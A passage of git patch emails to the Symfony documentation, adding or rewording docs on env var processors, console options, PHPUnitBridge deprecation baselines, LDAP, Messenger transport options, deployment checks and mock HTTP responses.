+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <parameters>
+                <parameter key="env(AUTH_FILE)">%kernel.project_dir%/config/auth.json</parameter>
+            </parameters>
+
+            <!-- 1. gets the value of the AUTH_FILE env var -->
+            <!-- 2. replaces the values of any config param to get the config path -->
+            <!-- 3. gets the content of the file stored in that path -->
+            <!-- 4. JSON-decodes the content of the file and returns it -->
+            <google auth="%env(json:file:resolve:AUTH_FILE)%"/>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        $container->setParameter('env(AUTH_FILE)', '%kernel.project_dir%/config/auth.json');
+        // 1. gets the value of the AUTH_FILE env var
+        // 2. replaces the values of any config param to get the config path
+        // 3. gets the content of the file stored in that path
+        // 4. JSON-decodes the content of the file and returns it
+        $container->loadFromExtension('google', [
+            'auth' => '%env(json:file:resolve:AUTH_FILE)%',
+        ]);
 
 Custom Environment Variable Processors
 --------------------------------------

From f872201e9febf6fb2078065d0ff380992e3b4862 Mon Sep 17 00:00:00 2001
From: Gordon Franke <info@nevalon.de>
Date: Tue, 5 Jan 2021 21:09:48 +0100
Subject: [PATCH 0329/5766] doc: copy paste trusted_headers vs trusted_proxies

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3a26887300e..c46b2a469f0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -401,7 +401,7 @@ trusted_proxies
 
 .. versionadded:: 5.2
 
-    The ``trusted_headers`` option was reintroduced in Symfony 5.2 (it had been
+    The ``trusted_proxies`` option was reintroduced in Symfony 5.2 (it had been
     removed in Symfony 3.3).
 
 The ``trusted_proxies`` option is needed to get precise information about the

From 0f25dd3cce6ac600bfc7682b09300ebddbea6fc0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Tue, 5 Jan 2021 17:02:57 +0100
Subject: [PATCH 0330/5766] Add documenation for Console Negatable option

---
 console/input.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index ecb7d6e72c3..8bd42ae6c85 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -199,7 +199,7 @@ separation at all (e.g. ``-i 5`` or ``-i5``).
     this situation, always place options after the command name, or avoid using
     a space to separate the option name from its value.
 
-There are four option variants you can use:
+There are five option variants you can use:
 
 ``InputOption::VALUE_IS_ARRAY``
     This option accepts multiple values (e.g. ``--dir=/foo --dir=/bar``);
@@ -216,6 +216,14 @@ There are four option variants you can use:
     This option may or may not have a value (e.g. ``--yell`` or
     ``--yell=loud``).
 
+``InputOption::VALUE_NEGATABLE``
+    Accept either the flag (e.g. ``--yell``) or its negation (e.g.
+    ``--no-yell``).
+
+.. versionadded:: 5.3
+
+    The ``InputOption::VALUE_NEGATABLE`` constant was introduced in Symfony 5.3.
+
 You can combine ``VALUE_IS_ARRAY`` with ``VALUE_REQUIRED`` or
 ``VALUE_OPTIONAL`` like this::
 

From 66d5f497c4e871af5b27db6c23f4fce63193f330 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michael=20K=C3=A4fer?= <michael.kaefer1@gmx.at>
Date: Mon, 16 Nov 2020 23:20:42 +0100
Subject: [PATCH 0331/5766] [PHPUnitBridge] Add deprecation log file option

---
 components/phpunit_bridge.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 8be5ef90bb7..ed1fbb5a0b2 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -350,6 +350,16 @@ the compiling and warming up of the container:
 
     The ``--deprecations`` option was introduced in Symfony 5.1.
 
+Log Deprecations
+~~~~~~~~~~~~~~~~
+
+For turning the verbose output off and write it to a log file instead you can use
+``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
+
+.. versionadded:: 5.3
+
+    The ``logFile`` option was introduced in Symfony 5.3.
+
 Write Assertions about Deprecations
 -----------------------------------
 

From 10f752227da6bca24795534111bd1233d6539995 Mon Sep 17 00:00:00 2001
From: Jacek <jacek@opcode.pl>
Date: Tue, 5 Jan 2021 22:47:02 +0100
Subject: [PATCH 0332/5766] Remove unused imports and properties

---
 security/experimental_authenticators.rst | 9 ---------
 1 file changed, 9 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 35aa1c9c205..c84f36ed51d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -287,8 +287,6 @@ method that fits most use-cases::
     // src/Security/ApiKeyAuthenticator.php
     namespace App\Security;
 
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\JsonResponse;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
@@ -302,13 +300,6 @@ method that fits most use-cases::
 
     class ApiKeyAuthenticator extends AbstractAuthenticator
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
-        }
-
         /**
          * Called on every request to decide if this authenticator should be
          * used for the request. Returning `false` will cause this authenticator

From f7f80af9e565d3fbf3ba237ba259cd4e9d3d2306 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 18:01:44 +0100
Subject: [PATCH 0333/5766] Mention that trusted proxies are not compatible
 with nginx realip

---
 deployment/proxies.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 5caf7003364..285dd221b11 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -48,6 +48,11 @@ The Request object has several ``Request::HEADER_*`` constants that control exac
 *which* headers from your reverse proxy are trusted. The argument is a bit field,
 so you can also pass your own value (e.g. ``0b00110``).
 
+.. caution::
+
+    The "trusted proxies" feature does not work as expected when using the
+    `nginx realip module`_. Disable that module when serving Symfony applications.
+
 But what if the IP of my Reverse Proxy Changes Constantly!
 ----------------------------------------------------------
 
@@ -118,3 +123,4 @@ In this case, you'll need to set the header ``X-Forwarded-Proto`` with the value
 .. _`security groups`: https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-security-groups.html
 .. _`CloudFront`: https://en.wikipedia.org/wiki/Amazon_CloudFront
 .. _`CloudFront IP ranges`: https://ip-ranges.amazonaws.com/ip-ranges.json
+.. _`nginx realip module`: http://nginx.org/en/docs/http/ngx_http_realip_module.html

From f3fdf986f270448d8eba3542bd61c24506ab0724 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 17:31:36 +0100
Subject: [PATCH 0334/5766] [FrameworkBundle] Document
 assertResponseFormatSame()

---
 testing/functional_tests_assertions.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 457d8c39021..0e190f0ed90 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -39,6 +39,12 @@ Response
 - ``assertResponseHasCookie()``
 - ``assertResponseNotHasCookie()``
 - ``assertResponseCookieValueSame()``
+- ``assertResponseFormatSame()`` (the response format is the value returned by
+  the :method:`Symfony\Component\HttpFoundation\Response::getFormat` method).
+
+.. versionadded:: 5.3
+
+    The ``assertResponseFormatSame()`` method was introduced in Symfony 5.3.
 
 Request
 ~~~~~~~

From f60b89a7253d76358b9e109b24e3833e5226c132 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Jan 2021 09:24:49 +0100
Subject: [PATCH 0335/5766] Make DOCtor happy

---
 testing/functional_tests_assertions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/functional_tests_assertions.rst b/testing/functional_tests_assertions.rst
index 0e190f0ed90..56f6a1d4c8c 100644
--- a/testing/functional_tests_assertions.rst
+++ b/testing/functional_tests_assertions.rst
@@ -40,7 +40,7 @@ Response
 - ``assertResponseNotHasCookie()``
 - ``assertResponseCookieValueSame()``
 - ``assertResponseFormatSame()`` (the response format is the value returned by
-  the :method:`Symfony\Component\HttpFoundation\Response::getFormat` method).
+  the :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method).
 
 .. versionadded:: 5.3
 

From ff28617e42621fd0ce0488c7bced6a900a70dbc6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 09:36:08 +0100
Subject: [PATCH 0336/5766] [Ldap] Add examples about get/has attribute

---
 components/ldap.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index 8e73b077760..d7cb6ed17cd 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -139,6 +139,10 @@ delete existing ones::
     $query = $ldap->query('dc=symfony,dc=com', '(&(objectclass=person)(ou=Maintainers))');
     $result = $query->execute();
     $entry = $result[0];
+
+    $phoneNumber = $entry->getAttribute('phoneNumber');
+    $isContractor = $entry->hasAttribute('contractorCompany');
+
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
 

From 8bd8d5194531f2b9b53fea93fe3413af1530138e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 09:51:40 +0100
Subject: [PATCH 0337/5766] Add more details about the ESI detection

---
 http_cache/esi.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 621f604ea95..4ee07e9c939 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -156,9 +156,9 @@ used ``render()``.
 
 .. note::
 
-    Symfony detects if a gateway cache supports ESI via another Akamai
-    specification that is supported out of the box by the Symfony reverse
-    proxy.
+    Symfony considers that a gateway cache supports ESI if its responses include
+    the ``Surrogate-Capability`` HTTP header and the value of that header
+    contains the ``ESI/1.0`` string anywhere.
 
 The embedded action can now specify its own caching rules entirely independently
 of the master page::

From d70cd24c15efa79977a2dba363fd7ab1ba1bba63 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:04:16 +0100
Subject: [PATCH 0338/5766] [Ldap] Document the case-insensitive attribute
 names

---
 components/ldap.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/ldap.rst b/components/ldap.rst
index d7cb6ed17cd..89fb39cb8e8 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -142,6 +142,9 @@ delete existing ones::
 
     $phoneNumber = $entry->getAttribute('phoneNumber');
     $isContractor = $entry->hasAttribute('contractorCompany');
+    // attribute names in getAttribute() and hasAttribute() methods are case-sensitive
+    // pass FALSE as the second method argument to make them case-insensitive
+    $isContractor = $entry->hasAttribute('contractorCompany', false);
 
     $entry->setAttribute('email', ['fabpot@symfony.com']);
     $entryManager->update($entry);
@@ -153,6 +156,11 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
+.. versionadded:: 5.3
+
+    The option to make attribute names case-insensitive in ``getAttribute()``
+    and ``hasAttribute()`` was introduce in Symfony 5.3.
+
 Batch Updating
 ______________
 

From 202820162b46d4b6ee88eb02a2155b043f1f7c77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:25:50 +0100
Subject: [PATCH 0339/5766] [Yaml] Documented the github output format for the
 linter

---
 translation/lint.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/translation/lint.rst b/translation/lint.rst
index d9129a79108..14693f32826 100644
--- a/translation/lint.rst
+++ b/translation/lint.rst
@@ -33,6 +33,17 @@ The linter results can be exported to JSON using the ``--format`` option:
     $ php bin/console lint:yaml translations/ --format=json
     $ php bin/console lint:xliff translations/ --format=json
 
+When running the YAML linter inside `GitHub Actions`_, the output is automatically
+adapted to the format required by GitHub, but you can force that format too:
+
+.. code-block:: terminal
+
+    $ php bin/console lint:yaml translations/ --format=github
+
+.. versionadded:: 5.3
+
+    The ``github`` output format was introduced in Symfony 5.3.
+
 .. tip::
 
     The Yaml component provides a stand-alone ``yaml-lint`` binary allowing
@@ -45,3 +56,5 @@ The linter results can be exported to JSON using the ``--format`` option:
     .. versionadded:: 5.1
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
+
+.. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions

From c3cadab18f3bccd1f5f2a313c0f607292c981960 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:33:15 +0100
Subject: [PATCH 0340/5766] [BrowserKit] Document the jsonRequest() method

---
 components/browser_kit.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index b73783f95e0..475c84b9365 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -80,6 +80,20 @@ The value returned by the ``request()`` method is an instance of the
 :doc:`DomCrawler component </components/dom_crawler>`, which allows accessing
 and traversing HTML elements programmatically.
 
+The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::jsonRequest` method,
+which defines the same arguments as the ``request()`` method, is a shortcut to
+convert the request parameters into a JSON string and set the needed HTTP headers::
+
+    use Acme\Client;
+
+    $client = new Client();
+    // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
+    $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
+
+.. versionadded:: 5.3
+
+    The ``jsonRequest()`` method was introduced in Symfony 5.3.
+
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::

From 83af9a124100c7264cbc25eba7f0cf27bffa7e56 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:07:10 +0100
Subject: [PATCH 0341/5766] [PhpUnitBridge] Document the deprecation baseline
 file

---
 components/phpunit_bridge.rst | 30 ++++++++++++++++++++++++++++++
 1 file changed, 30 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index fea473f1229..289346547c7 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -289,6 +289,36 @@ Here is a summary that should help you pick the right configuration:
 |                        | cannot afford to use one of the modes above.        |
 +------------------------+-----------------------------------------------------+
 
+Baseline Deprecations
+.....................
+
+If your application has some deprecations that you can't fix for some reasons,
+you can tell Symfony to ignore them. The trick is to create a file with the
+allowed deprecations and define it as the "deprecation baseline". Deprecations
+inside that file are ignore but the rest of deprecations are still reported.
+
+First, generate the file with the allowed deprecations (run the same command
+whenever you want to update the existing file):
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+
+This command stores all the deprecations reported while running tests in the
+given file and encoded in JSON. The file path defined in ``baselineFile`` can
+be absolute or relative to your project root.
+
+Then, you can run the following command to use that file and ignore those deprecations:
+
+.. code-block:: terminal
+
+    $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=tests/allowed.json' ./vendor/bin/simple-phpunit
+
+.. versionadded:: 5.2
+
+    The ``baselineFile`` and ``generateBaseline`` options were introduced in
+    Symfony 5.2.
+
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From cadd04cf4e20edb26d6f5f9c23c5c718213d731f Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 8 Jan 2021 11:11:57 +0100
Subject: [PATCH 0342/5766] Minors. refs #14801

---
 http_cache/esi.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index 4ee07e9c939..b23b19eda36 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -99,7 +99,7 @@ independently of the rest of the page::
 
     // src/Controller/DefaultController.php
     namespace App\Controller;
-    
+
     // ...
     class DefaultController extends AbstractController
     {
@@ -156,7 +156,7 @@ used ``render()``.
 
 .. note::
 
-    Symfony considers that a gateway cache supports ESI if its responses include
+    Symfony considers that a gateway cache supports ESI if its request include
     the ``Surrogate-Capability`` HTTP header and the value of that header
     contains the ``ESI/1.0`` string anywhere.
 

From f156e727eb81fa57b2a58da29a0fea9046650625 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:25:48 +0100
Subject: [PATCH 0343/5766] [Messenger] Documented AMQP confirm_timeout option

---
 messenger.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..c92bda6733b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -962,6 +962,9 @@ The transport has a number of options:
                                               fractional.
 ``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
                                               May be fractional.
+``confirm_timeout``                           Number of seconds to wait for message sending
+                                              confirmation. If not specified, transport won't
+                                              wait for confirmation. May be fractional.
 ``frame_max``                                 The largest frame size that the server proposes
                                               for the connection, including frame header and
                                               end-byte. 0 means standard extension limit
@@ -1005,6 +1008,10 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. versionadded:: 5.2
+
+    The ``confirm_timeout`` option was introduced in Symfony 5.2.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From 71e65a1185b787909d76186ea7593d2ed3922dad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 11:18:16 +0100
Subject: [PATCH 0344/5766] [Messenger] Mention the WorkerMessageRetriedEvent

---
 messenger.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..f0e2d742450 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -716,6 +716,15 @@ this is configurable for each transport:
             ],
         ]);
 
+.. tip::
+
+    Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+    when a message is retried so you can run your own logic.
+
+    .. versionadded:: 5.2
+
+        The ``WorkerMessageRetriedEvent`` class was introduced in Symfony 5.2.
+
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 

From ba50107ea8fa025a7e960f0ab4a9736f2395a77a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 12:09:19 +0100
Subject: [PATCH 0345/5766] Improved the check requirements section of the
 deployment article

---
 deployment.rst | 29 +++++++++++++++++++++++++++--
 1 file changed, 27 insertions(+), 2 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 36854742dcc..7eb4a1bc4f2 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -112,8 +112,32 @@ you'll need to do:
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
 
-Use the ``check:requirements`` command to check if your server meets the
-:ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+There are some :ref:`technical requirements for running Symfony applications <symfony-tech-requirements>`.
+In your development machine, the recommended way to check these requirements is
+to use `Symfony CLI`_. However, in your production server you might prefer to
+not install the Symfony CLI tool. In those cases, install this other package in
+your application:
+
+.. code-block:: terminal
+
+    $ composer require symfony/requirements-checker
+
+Then, make sure that the checker is included in your Composer scripts:
+
+.. code-block:: json
+
+    {
+        "...": "...",
+
+        "scripts": {
+            "auto-scripts": {
+                "vendor/bin/requirements-checker": "php-script",
+                "...": "..."
+            },
+
+            "...": "..."
+        }
+    }
 
 .. _b-configure-your-app-config-parameters-yml-file:
 
@@ -257,3 +281,4 @@ Learn More
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony
+.. _`Symfony CLI`: https://symfony.com/download

From a6f97ce0638f14a3014cb9fd10b6599c40284735 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 10:39:07 +0100
Subject: [PATCH 0346/5766] [Messenger] Document the debug option of Amazon SQS

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..ee274146158 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1342,6 +1342,8 @@ The transport has a number of options:
 ``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
+``debug``               If ``true`` it logs all HTTP requests   ``false``
+                        and responses (it impacts performance)
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
 ``poll_timeout``        Wait for new message duration in        0.1
                         seconds
@@ -1353,6 +1355,10 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
+.. versionadded:: 5.3
+
+    The ``debug`` option was introduced in Symfony 5.3.
+
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should

From 376c1204bf227baa5a24c4848ea513f4fa317912 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 21 Aug 2020 16:18:25 +0200
Subject: [PATCH 0347/5766] Update deployment.rst

---
 deployment.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 6a92e4df9b1..583fbca4572 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Pre-Post-Deployment Tasks`_)
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Post-Deployment Tasks`_).
+manually taking other steps (see `Common Pre-Post-Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -101,10 +101,10 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Post-Deployment Tasks
-----------------------------
+Common Pre-Post-Deployment Tasks
+--------------------------------
 
-After deploying your actual source code, there are a number of common things
+Before and after deploying your actual source code, there are a number of common things
 you'll need to do:
 
 A) Check Requirements
@@ -198,7 +198,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Pre-Post-Deployment Tasks`_).
 
 Troubleshooting
 ---------------

From 21d3087f8dc3fbdce8f84c7c74b0a7d526e3c187 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 14:49:57 +0100
Subject: [PATCH 0348/5766] Tweaks

---
 deployment.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 60c7402c4bd..a0f85444b6d 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Pre-Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_)
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Pre-Post-Deployment Tasks`_).
+manually taking other steps (see `Common Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -103,11 +103,13 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Pre-Post-Deployment Tasks
---------------------------------
+.. _common-post-deployment-tasks:
 
-Before and after deploying your actual source code, there are a number of common things
-you'll need to do:
+Common Deployment Tasks
+-----------------------
+
+Before and after deploying your actual source code, there are a number of common
+things you'll need to do:
 
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
@@ -237,7 +239,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Pre-Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Deployment Tasks`_).
 
 Troubleshooting
 ---------------

From 66dd93cee4ef4a7c76f32207372ea0132695fbe5 Mon Sep 17 00:00:00 2001
From: Gabriel Birke <gabriel.birke@gmail.com>
Date: Sat, 21 Mar 2020 14:08:48 +0100
Subject: [PATCH 0349/5766] Expand MockResponse example with HTTP status codes

Show how to create MockResponses with status codes different than "200 OK"
---
 http_client.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index a2056c90976..1738e0d17ba 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,6 +1387,21 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+If you need to test your error handling with responses that have an HTTP status 
+code different than 200, you need to provide a raw HTTP header with the 
+`response_headers` key::
+
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $client = new MockHttpClient([
+        new MockResponse('...', ['response_headers' => ['HTTP/1.1 500 Internal Server Error']]),
+        new MockResponse('...', ['response_headers' => ['HTTP/1.1 404 Page Not Found']]),
+    ]);
+
+    $response = $client->request('...');
+
+
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).

From 3aaf9afe984c3e3585f1bb63d0989db443164b19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:01:51 +0100
Subject: [PATCH 0350/5766] reword

---
 http_client.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1738e0d17ba..91122c00961 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,21 +1387,19 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
-If you need to test your error handling with responses that have an HTTP status 
-code different than 200, you need to provide a raw HTTP header with the 
-`response_headers` key::
+If you need to test responses with HTTP status codes different than 200,
+define the ``http_code`` option::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
     $client = new MockHttpClient([
-        new MockResponse('...', ['response_headers' => ['HTTP/1.1 500 Internal Server Error']]),
-        new MockResponse('...', ['response_headers' => ['HTTP/1.1 404 Page Not Found']]),
+        new MockResponse('...', ['http_code' => 500]),
+        new MockResponse('...', ['http_code' => 404]),
     ]);
 
     $response = $client->request('...');
 
-
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).

From e28f9d63d8b29a483ca70770b30cbd4bf239a943 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 27 Apr 2020 16:18:56 -0400
Subject: [PATCH 0351/5766] [testing] document improving test speed by reducing
 encoder work factor

---
 testing/http_authentication.rst | 65 +++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 158cb2f2cae..7ddb11c92a2 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -12,6 +12,71 @@ OAuth authentication services.
 This article explains the two most popular techniques to avoid these issues and
 create fast tests when using authentication.
 
+Improving Password Encoder Speed in Tests
